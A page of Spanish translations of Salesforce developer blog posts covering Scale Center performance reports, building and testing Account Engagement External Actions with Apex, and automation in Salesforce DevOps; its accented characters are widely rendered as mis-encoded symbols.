Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, L铆mites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los an谩lisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes per铆odos de tiempo

Salesforce Scale Center permite a los clientes comparar las m茅tricas de rendimiento de la organizaci贸n en diferentes per铆odos de tiempo. Los casos de uso clave incluyen:

  • Preparaci贸n para la implementaci贸n de producci贸n:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producci贸n
  • Evaluaci贸n del impacto posterior a la implementaci贸n:
    • Despu茅s de un lanzamiento importante o una implementaci贸n de funciones en producci贸n, aproveche Scale Center para comparar las m茅tricas de la organizaci贸n antes y despu茅s de la implementaci贸n.
    • Determinar si la implementaci贸n ha tenido alg煤n impacto negativo en el desempe帽o general de la organizaci贸n.
  • An谩lisis del rendimiento durante los d铆as pico:
    • Utilice la funci贸n de comparaci贸n de Scale Center para evaluar el impacto en el rendimiento de la organizaci贸n durante los d铆as pico.
    • Compare las m茅tricas de tr谩fico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

C贸mo comparar per铆odos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparaci贸n.

2. Compare las m茅tricas de primera l铆nea.

3. Compare los gr谩ficos de rendimiento de la organizaci贸n.

Al aprovechar la funci贸n de comparaci贸n de Scale Center, los desarrolladores pueden obtener informaci贸n valiosa sobre el rendimiento de la organizaci贸n, identificar 谩reas de optimizaci贸n y garantizar un proceso de implementaci贸n fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y est谩 disponible en todas las organizaciones de sandbox de copia completa y de producci贸n de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organizaci贸n y no accede a los datos de su organizaci贸n
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center est茅 habilitado en una organizaci贸n fuera de UE, comun铆quese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuraci贸n.
  2. Ingrese "Centro de escala" en el cuadro B煤squeda r谩pida y haga clic en la pesta帽a Rendimiento de la organizaci贸n en la hoja Rendimiento.
  3. Habilite Scale Center para su organizaci贸n activando la opci贸n Habilitar Scale Center .

Tenga en cuenta que las m茅tricas de rendimiento pueden tardar hasta dos horas en aparecer despu茅s de habilitar Scale Center.

M谩s recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Comenzando con Acciones Externas 鈽侊笍

Comenzando con Acciones Externas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a帽o, as铆 como a trav茅s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu铆a surgiendo una pregunta: "驴C贸mo empiezo con las acciones externas?" En esta publicaci贸n, aprender谩 qu茅 son las acciones externas, c贸mo configurarlas y c贸mo probarlas. Adem谩s, sintonice una pr贸xima sesi贸n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar茅 una demostraci贸n de codificaci贸n en vivo para mostrarle c贸mo crear una acci贸n externa y responder sus preguntas.

驴Qu茅 son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acci贸n en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatizaci贸n de la participaci贸n de la cuenta en funci贸n de un evento de participaci贸n que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicaci贸n de extensibilidad de automatizaci贸n para un servicio, por lo que puede tener una extensi贸n de aplicaci贸n de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi贸n de aplicaci贸n de marketing. En el momento de escribir este art铆culo, las actividades externas a煤n no se pueden empaquetar, pero eventualmente tambi茅n se empaquetar谩n en la extensi贸n de la aplicaci贸n de marketing.

Si desea conectar una aplicaci贸n de terceros para automatizar la ejecuci贸n de una acci贸n de prospecto en ese sistema, entonces esta es definitivamente la funci贸n para usted. En esta publicaci贸n, profundizaremos en el lado de la acci贸n externa de las extensiones de aplicaciones de marketing.

驴Cu谩les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, 隆dir铆a absolutamente todo! Puede que est茅s pensando: 鈥溌laro, todo el mundo dice eso!鈥. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar铆a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu铆>", entonces deseaba una acci贸n externa.

Puede usar una acci贸n externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). Tambi茅n puede usar una acci贸n externa para enviar un mensaje SMS a trav茅s de Twilio, que presentamos en una publicaci贸n de blog anterior . Incluso puedes usar acciones externas con webhooks; Us茅 la funci贸n de captura de webhook de Zapier para crear una acci贸n externa que usaba un cliente potencial como desencadenante de un Zap.

驴Qu茅 constituye una acci贸n externa?

Una acci贸n externa consta de una acci贸n invocable de Apex, metadatos de la extensi贸n de la aplicaci贸n de marketing, metadatos de una acci贸n externa y una forma de gestionar la autenticaci贸n. Los metadatos para las extensiones de la aplicaci贸n de marketing y las actividades externas conectan la acci贸n invocable con la participaci贸n de la cuenta. Los componentes que se usar谩n para la autenticaci贸n pueden variar seg煤n el tipo de autenticaci贸n que admita el servicio. Como OAUTH 2.0 es bastante com煤n, el componente que uso m谩s es un proveedor de autorizaci贸n y Credenciales con nombre . Las credenciales con nombre tambi茅n facilitan la administraci贸n de la autenticaci贸n en mi c贸digo, y el sistema hace la mayor parte del trabajo.

驴Qu茅 habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitar谩 algunas habilidades en ciertas 谩reas para construir con 茅xito una acci贸n externa. Los siguientes son temas clave de los que necesitar谩 una comprensi贸n b谩sica antes de abordar su propia acci贸n externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener 茅xito en general. Recomiendo aprender Visual Studio y el proceso de implementaci贸n de la CLI. No se necesita maestr铆a, solo lo b谩sico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentaci贸n de la API REST

El patr贸n del que hablamos en este art铆culo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acci贸n externa, debe poder leer una especificaci贸n API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementaci贸n de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar铆a, como m铆nimo, familiarizarse con la compilaci贸n y la implementaci贸n de c贸digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m谩s informaci贸n, encontr茅 煤til el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c贸digo de la aplicaci贸n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creaci贸n de una interfaz de usuario para controlar las entradas durante la prueba. Si est谩 familiarizado con Engagement Studio, Flow ser谩 bastante f谩cil ya que tiene muchos de los mismos conceptos. Utilic茅 la ruta Crear flujos con Flow Builder para ponerme al d铆a. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creaci贸n de todo tipo de automatizaci贸n de procesos comerciales.

驴C贸mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi茅n proporciona una manera f谩cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce 鈥 Uso Visual Studio para codificar mi acci贸n invocable y la implemento en mi organizaci贸n de desarrollador. La mayor铆a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art铆culo, solo admitimos paquetes de primera generaci贸n (1GP) , por lo tanto, no configure su organizaci贸n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci贸n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r谩pidamente el c贸digo o ver los registros de sus pruebas de flujo de pantalla.

Patr贸n b谩sico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patr贸n b谩sico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acci贸n invocable, e InvocableMethod , que es el m茅todo a llamar al ejecutar la acci贸n invocable. Puede ver c贸mo se aplican en el siguiente c贸digo de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c贸digo en dos clases facilita jsonificar la carga 煤til. Mi clase de entrada contiene todos los campos de variables invocables que la acci贸n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir谩 la carga 煤til a partir de la entrada, la convertir谩 a JSON y luego la agregar谩 a la solicitud HTTP. A continuaci贸n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m茅todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error 煤til para diagnosticar un problema.

Consideraci贸n importante: el marco de acci贸n externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el 茅xito. Si se devuelve un error, se informar谩 en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acci贸n externa, encontrar谩 errores. Cuanto m谩s pueda probar sobre la marcha, m谩s f谩cil ser谩 descubrir d贸nde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuraci贸n de la acci贸n externa de la imagen, por lo que si la verifica aqu铆, pero no funciona en Engagement Studio, sabr谩 que el problema radica en la configuraci贸n de la acci贸n externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa ra铆z y corregirlos es otra cosa. A continuaci贸n se presentan algunas de las t茅cnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c贸digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci贸n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci贸n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m谩s a fondo. Tenga cuidado, podr铆a terminar con una gran cantidad de datos. El Usuario de Integraci贸n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci贸n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci贸n externa que result贸 en una falla. Es 煤til ver lo que sucedi贸 durante una ejecuci贸n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su direcci贸n de correo electr贸nico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones ir铆a al buz贸n de correo de ejemplo@ejemplo.com. Por ejemplo, us茅 esto para probar el ejemplo de registro de Zoom porque no quer铆a que el correo electr贸nico registrado rebotara.

Errores comunes

Los errores van a suceder, as铆 es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acci贸n exterior sea activa. Si la acci贸n no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensi贸n de la aplicaci贸n de marketing como la acci贸n externa, adem谩s de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex est茅 activa. La mayor铆a de las veces ya estar谩 marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es f谩cil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cu谩ntas veces busco acciones externas, solo para tener un momento de confusi贸n antes de recordar.

Finalmente, si su acci贸n externa no funciona, pero no ve errores, verifique que la acci贸n invocable fue dise帽ada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegr铆as. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

驴Que estas esperando? 隆Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde c贸mo funciona la funci贸n hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustar铆a hacer algo cuando el cliente potencial haga esto", y lo ayudar谩 a automatizar esa acci贸n.

Entonces, configure su entorno de desarrollador, revise la aplicaci贸n de referencia y comience a construir su acci贸n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac铆fico) , realizaremos una sesi贸n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as铆 que 煤nase y s铆ganos mientras construimos una extensi贸n de la aplicaci贸n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s茅nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m谩s de cuatro a帽os y tiene m谩s de 13 a帽os de experiencia en gesti贸n de productos, trabajando principalmente en plataformas que van desde la atribuci贸n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu茅 es posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

3 pasos para la adopci贸n estrat茅gica de IA

